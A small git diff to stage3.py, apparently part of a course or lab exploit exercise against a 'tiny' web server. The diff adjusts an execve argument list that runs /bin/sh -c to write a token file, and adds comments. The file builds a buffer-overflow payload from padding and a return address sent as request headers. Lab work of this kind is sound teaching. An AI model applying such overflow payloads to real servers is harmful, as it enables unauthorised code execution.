diff --git a/stage3.py b/stage3.py index 9ceee3ce5b40d5116625dd37934baa9f4af2b1fe..87bf1d59101d4ceec69943fab1f4a301bf2809bd 100644 --- a/stage3.py +++ b/stage3.py @@ -22,7 +22,10 @@ ADDRESS = to_bytes(0xdeadbeef) USER = b"FILL ME IN" PASSWORD = b"FILL ME IN" -SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00", b"\x00"] + +# These are the arguments that make up the shell script we want to execve. +# Don't forget that there needs to be a NULL pointer as the last argument in addition to these! +SCRIPT = [b"/bin/sh\x00", b"-c\x00", b"echo -n \"" + USER + b"\" | sha384sum > /hackme/tiny/tokens/" + PASSWORD + b"\x00"] # The "exploit string" is what we send in as the headers HEADERS = PADDING + ADDRESS